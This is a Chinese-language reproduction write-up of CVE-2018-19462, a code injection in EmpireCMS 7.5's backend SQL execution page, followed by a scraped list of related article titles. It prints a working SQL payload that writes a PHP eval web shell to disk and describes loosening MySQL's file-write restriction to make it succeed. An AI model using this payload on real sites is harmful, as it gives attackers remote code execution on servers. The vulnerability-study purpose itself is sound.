帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462)

一、漏洞描述

EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

二、影响版本

EmpireCMS<=7.5

三、环境搭建

1、官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/

2、把下载的文件中的upload下的所有目录和文件放入到网站根目录下

3、修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装

4、设置php.ini中 short_open_tag = On,重启phpstudy

5、然后开始安装,安装过程参考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html

四、漏洞复现

1、漏洞出现的页面如下

2、分析源码定位漏洞出现的位置在/e/admin/db/DoSql.php,浏览代码,对sqltext使用RepSqlTbpre函数进行处理

3、跟进RepSqlTbpre函数,发现仅仅对表的前缀做替换,没有做其他任何处理

4、继续浏览代码,发现对$query使用DoRunQuery函数进行处理

5、跟进DoRunQuery函数,可以看到对$sql参数只做了去除空格、以”;”分隔然后遍历,并你没有做别的限制和过滤,导致可以执行恶意的sql语句

6、登录后台,点击如下,输入一段写shell的payload,payload内容如下:

select '<?php @eval($_POST[1])?>' into outfile 'C:/phpStudy/WWW/empirecms/shell.php'

7、点击”执行SQL”,提示错误,是由于mysql安全限制的原因

8、修改mysql的配置文件, 在[mysqld] 下添加条目: secure_file_priv =,保存之后,然后重启mysql

9、再次执行SQL语句,可以看到成功执行SQL语句

10、查看是否成功上传shell

11、菜刀连接,成功getshell

-------------------------------------------------------------------------------------------------------------

帝国php被注入,帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462)相关推荐

  1. 帝国php漏洞,帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析 一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单 ...

  2. 帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析

    帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析 一.漏洞描述 该漏洞是由于安装程序时没有对用户的输入做严格过滤,导致用户输入的可控参数被写入配置文件,造成任意代码执行漏洞. 二.漏洞复 ...

  3. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

  4. 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞复现与原理分析

    一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理,但是没有对任何恶意关键 ...

  5. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞复现

    一. 漏洞描述 该漏洞是由于JavaScript获取url的参数,没有经过任何过滤直接当作a标签和img标签的href属性和src属性输出 二. 漏洞复现 需要开启会员空间功能,登录后台开启会员空间功 ...

  6. proxy aspectj_使用AspectJ,Javassist和Java Proxy进行代码注入的实用介绍

    proxy aspectj 静态地或在运行时将代码片段注入已编译的类和方法中的功能可能会很有帮助. 这尤其适用于在没有源代码的第三方库中或在无法使用调试器或探查器的环境中对问题进行故障排除. 代码注入 ...

  7. 使用AspectJ,Javassist和Java Proxy进行代码注入的实用介绍

    静态地或在运行时将代码片段注入已编译的类和方法中的功能可能会很有帮助. 这尤其适用于在没有源代码的第三方库中或在无法使用调试器或探查器的环境中对问题进行故障排除. 代码注入对于处理涉及整个应用程序的问 ...

  8. 用户领域 API 监控和代码注入检测

    原文地址:Userland API Monitoring and Code Injection Detection 原文作者:dtm 译文出自:掘金翻译计划 本文永久链接:github.com/xit ...

  9. 软件安全之代码注入技术 向目标 PE 文件注入 DLL notepad lpk.dll 远程线程函数 提权函数 OpenProcess VirtualAllocEx

    实验 4 代码注入技术 引言 1.实验说明 代码注入是将用户代码注入到其他进程或者可执行文件中,实现拦截目标进程运行过程的关键信息.改变目标进程或可执行文件原本执行流程等目的 2.实验目的 本实验通过 ...

最新文章

  1. 数据中心机房建设几个重要的国家标准
  2. 【小白学习PyTorch教程】九、基于Pytorch训练第一个RNN模型
  3. python期末复习卷_【期末复习卷A】六年级科学上册期末复习试题
  4. java实现deflate算法
  5. C 标准库——cmath/math.h
  6. 181013词霸扇贝有道每日一句
  7. hysys动态模拟教程_学习记录-过程模拟实训-Aspen HYSYS教程
  8. 更改计算机bios密码怎么办,计算机BIOS通用密码的修改
  9. 爱折腾星人必备工具 - 系统重启还原精灵 -/ 影子卫士
  10. 如何用 Python 和 Pandas 分析犯罪记录开放数据?
  11. 什么是高位数,中位数,低位数
  12. 防火墙区域及工作模式
  13. python如何安装keras和tensorflow
  14. WIN10 USB 代码19 无法识别USB
  15. 最好的Vue组件库之Vuetify的入坑指南(持续更新中)
  16. linux查找表空间使用情况,表空间的使用情况查询及管理
  17. CodeForces 14 E.Camels(dp)
  18. android之broadcastreceiver 耳机按键,Android BroadcastReceiver 实时监听耳机拔出事件
  19. 一张纸对折多少次厚度超过珠峰高度
  20. vite的public目录

热门文章

  1. LoRaEdge LR1120 卫星直连通信解读
  2. history对象back()、forward()、go()方法
  3. Linux添加WIFI驱动
  4. 基于大数据的线上线下电商用户数据挖掘研究
  5. linux 开机运行命令
  6. 指令于动作之forward动作
  7. 达梦数据库删除用户_干货分享丨DM8用户管理
  8. 入行程序员培训还是不培训
  9. 使用Encoder-Decoder模型自动生成对联的思路
  10. 基于SWTC公链的融媒体项目入选工信部网络安全示范项目